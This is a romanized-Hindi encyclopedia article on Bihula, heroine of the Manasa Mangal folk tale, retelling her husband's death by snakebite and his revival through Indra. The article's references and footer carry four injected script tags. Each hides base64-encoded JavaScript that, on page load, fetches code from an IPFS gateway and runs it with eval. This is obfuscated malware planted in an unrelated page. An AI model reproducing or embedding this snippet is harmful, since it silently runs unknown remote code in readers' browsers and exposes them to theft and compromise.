बिहुला
thumb|200px|bihula bihula ya 'behula' ya 'sati bihula' madhyakalin baangla sahity mean 'manas mangal' evan isi prakar ki kee any kavy kritiyoan ki nayika hai. bihula ki lokagatha karun ras se paripoorn hai. 13vian se 18vian shati ki avadhi mean isaki katha par adharik bahut-si rachanaean ki gayi thian. in kritiyoan ka dharmik uddeshy manasa devi ki mahatta ka pratipadan karana tha, kintu ye kritiyaan bihula evan usake pati bala lakhandar ke pavitr prem ke liye adhik jani jati haian.
nari ke utsarg ki katha
bihula ki katha prachin bharat ke shodash janapadoan mean se ek aangadesh[1] ki rajadhani chanpa[2] ki hai. mahabharat ke samay yahaan ke raja karn hua karate the, aisa mana jata hai. sati bihula ki katha bhojapuri bhashi kshetr mean ek gitakatha ke roop mean gaee jati hai. samanyat: yah nichali jatiyoan ki katha ke roop mean prachalit hua karati thi, parantu ab yah jati ki simaoan ko laangh kar sarvapriy katha ke roop mean sthapit hai aur ab yah nari matr ke utsarg ke abhootapoorv pratiman ke uddharan ki katha ke roop mean jani jati hai, kyoanki kahani ke anusar apani kathor tapasya se sati behula ne apane pati ko jivit kar dikhaya tha.
kathasar
vishesh roop se dalit jatiyoan mean prachalit sati bihula ki lokagatha ab apani jatiy simaoan se pare poore bihar mean pasand ki jati hai. yah kahani samajik vyavastha mean mahilaoan ke samarpan aur mahattv ko rekhaankit karati hai. bihar ke atirikt bihula ki katha ka uttar pradesh tatha bangal mean bhi prachar paya jata hai. sankshep mean isaki katha nimnaankit hai-
"chandoo sahoo namak ek prasiddh saudagar tha. isake l dake ka nam bala lakhandar tha. yah roop-yauvan se sampann tatha sundar yuvak tha. avastha prapt hone par isaka vivah sambandh 'bihula' namak ek param sundari kanya se kiya gaya. chandoo sahoo ke 6 l dake vivah ke avasar par kohabar mean saanp ke katane se mar chuke the. at: bala lakhandar ke vivah ke samay is bat ka vishesh dhyan rakha gaya ki poorv durghatana ki punaravritti n hone paye. is vichar se aisa makan banane ka nishchay hua, jisamean kahian bhi chhidr n ho.[3]
vishahari namak brahman, jo chandoo saudagar se dvesh rakhata tha, b di hi dusht prakriti ka vyakti tha. usane makan banane vale karigaroan ko ghoos dekar usamean sarp ke pravesh karane yogy ek chhidr banava diya. bihula bhi is durghatana ko rokane ke lie b di sachesht thi. usane apane mayake se paharedar bhi chaukasi rakhane ke lie bulavaye the. vivah ke pashchath jab vah bala lakhandar ke shayanakaksh mean gayi to dekha ki vah achet so raha hai. bihula ne sarpadansh se raksha ke lie usaki charapaiyoan ke charoan payoan mean kutta, billi, nevala tatha garu d ko baandh diya aur svayan chaukasi karati huee bala lakhandar ke sirahane baith gayi. jis kamare mean bala lakhandar so raha tha, usamean prakash ke lie nau man tel ka akhand dipak jal raha tha.
durbhagy se kuchh der bad bihula ko bhi niand lagane lagi aur bala lakhandar ke pas hi vah so gayi. isi bich mean vishahari brahman ke dvara bheji gayi ek nagin ayi aur usane bala lakhandar ko dans liya. jab prat:kal bihula ki niand khuli to vah dekhati hai ki isaka pati mara p da hai. usaki lash ko dekhalar usane b da karun krandan kiya aur apane bhagy par pashchattap karane lagi. bala lakhandar ke parivar mean shok ki lahar dau d jati hai aur poora parivar bihula ko hi apashakun manata hai. bihula apane pati ka shav lekar ganga mean kood jati hai. ganga mean hi usaki mulakat iandr ki dhoban se hoti hai. vah usase mausi ka rishta banakar iandralok pahuanch jati hai. ek din dhoye kap de ki chamak se iandr ko khush kar deti hai. is par iandr bihula ko darabar bulate haian. bihula darabar pahuanchati hai aur apsaraoan ke nrity par tippani karati hai. iandr use nrity ka avasar dete haian aur bihula ke nrity se khush hokar use varadan maangane ko kahate haian. bihula apane pati aur usake bhaiyoan ko jivit karane ka varadan maangati hai.[3]
karun ras ki pradhanata
bihula ki katha b di karunik hai. bihula ke vilap ka varnan karata hua lokakavi kahata hai ki-
"e ram svami svami hay svami kahe re diya chhati piti rodaniya kare e ram. e ram kohabar mean rove sati bihula re diya diya suni log ke chhati phate e ram.."
karun ras se ot-prot bihula ki katha ko sunakar pashan hriday ka bhi chitt dravit ho uthata hai. yahi karan hai ki is gatha ko lekar anek chhoti-chhoti pustakoan ki rachana bhojapuri bhasha mean huee haian, jinamean se 'bihula vishahari' aur 'bihula-git' namak pustakean prasiddh haian.
rachanaean
bangal mean bihula ki katha ka b da prachar hai, jo vahaan 'manasa mangal' ke nam se prasiddh hai. bangal mean 'manasa' sarpoan ki adhishthatri devi mani jati haian. 'manasa mangal' ke gitoan ka kathanak kuchh tho de se parivartan ke sath vahi hai, jo 'bihula' ka hai. bangala bhasha ke anek kaviyoan ne 'manasa mangal' ki rachana ki hai, jinaka prakashan 'kalakatta vishvavidyalay' tatha 'bangiy sahity parishad' dvara hua hai. bang praant mean 'manasa' devi ki pooja b de prem se ki jati hai. is avasar par is katha ko natakiy roop dekar abhinay bhi kiya jata hai. is ullekh se pata chalata hai ki bihula ki katha kitani lokapriy aur vyapak hai.[3]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ vartaman bihar ke bhagalapur, muanger ziloan ke asapas ka kshetr
- ↑ vartaman mean bhagalapur zile ke nathanagar ke chanpanagar
- ↑ 3.0 3.1 3.2 hindi sahity kosh, bhag 2 |prakashak: jnanamandal limited, varanasi |sankalan: bharatakosh pustakalay |sanpadan: d aau. dhireandr varma |prishth sankhya: 386 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>